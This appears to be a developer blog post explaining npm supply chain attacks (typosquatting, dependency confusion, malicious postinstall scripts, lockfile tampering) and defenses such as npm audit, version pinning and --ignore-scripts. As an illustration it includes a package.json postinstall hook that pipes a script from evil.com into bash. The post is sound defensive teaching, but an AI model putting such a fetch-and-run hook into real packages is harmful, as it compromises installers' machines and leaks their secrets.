In 2021, the
ua-parser-jspackage — downloaded 8 million times per week — was hijacked to install cryptominers and password stealers. Yournode_modulesfolder is an attack surface.
How Supply Chain Attacks Work
A supply chain attack targets the code you did not write — your dependencies. Instead of attacking your application directly, an attacker poisons a package you trust and lets npm install do the rest.
There are four primary vectors.
1. Typosquatting
An attacker publishes a package with a name that looks like a popular one:
# The real package
npm install lodash
# The malicious typosquat
npm install lodahs # swapped letters
npm install lodash-utils # plausible nameThe malicious package contains the same API surface as the real one — plus a payload that exfiltrates environment variables, SSH keys, or AWS credentials on install.
Defense: Always double-check package names before installing. Use npm info <package> to verify publisher and download counts.
2. Dependency Confusion
If your company uses a private npm registry with internal package names like @company/auth-utils, an attacker can publish a package with the same name on the public npm registry with a higher version number.
# Your private registry has @company/auth-utils@1.2.0
# Attacker publishes @company/auth-utils@99.0.0 on public npm
# npm may resolve the public (higher) versionDefense: Scope all private packages and configure .npmrc to route scoped packages to your private registry:
# .npmrc
@company:registry=https://npm.internal.company.com3. Malicious postinstall Scripts
The postinstall hook runs arbitrary code immediately after npm install. Attackers use this to execute payloads before you ever import the package:
{
"name": "totally-legit-package",
"scripts": {
"postinstall": "curl https://evil.com/steal.sh | bash"
}
}This runs with your user's permissions. It can read .env files, exfiltrate secrets, install backdoors, or modify other packages in node_modules.
Defense: Use --ignore-scripts for untrusted packages, or adopt tools like Socket that flag packages with install scripts.
npm install --ignore-scripts suspicious-package4. Lockfile Manipulation
Your package-lock.json pins exact versions and integrity hashes. If an attacker submits a PR that modifies the lockfile to point to a different (malicious) version, most reviewers will not notice — lockfile diffs are noisy and rarely reviewed.
Defense: Always review lockfile changes in PRs. Use npm ci in CI/CD instead of npm install — it fails if the lockfile is out of sync with package.json.
# In your CI pipeline — always use ci, not install
npm ciPractical Defenses
Run npm audit regularly
npm audit
npm audit --production # skip devDependenciesIntegrate this into your CI pipeline so builds fail on known vulnerabilities.
Pin exact versions
{
"dependencies": {
"express": "4.18.2"
}
}Avoid ^ and ~ ranges in production. Use Dependabot or Renovate to manage controlled upgrades.
Use a lockfile — and commit it
Never .gitignore your package-lock.json. It ensures everyone on your team and your CI pipeline use the exact same dependency tree.
Minimize your dependency tree
Every package you install is a trust decision. Before adding a dependency, ask:
- Does it have many downloads and active maintenance?
- Can I write this in 20 lines instead?
- How many transitive dependencies does it pull in?
# Check what you are actually pulling in
npm ls --all | wc -lEnable npm provenance
npm now supports package provenance — cryptographic proof that a package was built from a specific source commit in CI:
npm publish --provenanceWhen installing, look for the provenance badge on npmjs.com.
What to Do If You Are Compromised
- Identify the malicious package — check
npm audit, review recent additions topackage.json - Remove it immediately —
npm uninstall <package>, deletenode_modules, runnpm ci - Rotate all secrets — any environment variable, API key, or credential on the affected machine is potentially compromised
- Check for persistence — look for modified files outside
node_modules, unexpected cron jobs, or new SSH keys - Notify your team — if this hit CI/CD, your production secrets may be exposed
Conclusion
Your application is only as secure as your weakest dependency. Typosquatting, dependency confusion, and malicious install scripts are not theoretical — they happen regularly. Pin your versions, commit your lockfile, audit continuously, and treat every npm install as a trust decision.
Related posts
Secure Password Reset Tokens — Expiry, Storage, and What Most Implementations Get Wrong
A practical guide to building secure password reset flows: token generation, expiry windows, one-time use enforcement, and the edge cases that cause real account takeovers.
Mar 30, 2026 · 7 min readIncident Response for Developers: What to Do When You Get Hacked
A practical incident response guide for developers covering detection, containment, eradication, recovery, and communication when a security breach happens.
Mar 29, 2026 · 9 min readPhishing Prevention: A Developer's Guide to SPF, DKIM, and DMARC
Understand how email spoofing enables phishing attacks and how to implement SPF, DKIM, and DMARC to protect your domain from being impersonated.
Mar 29, 2026 · 9 min read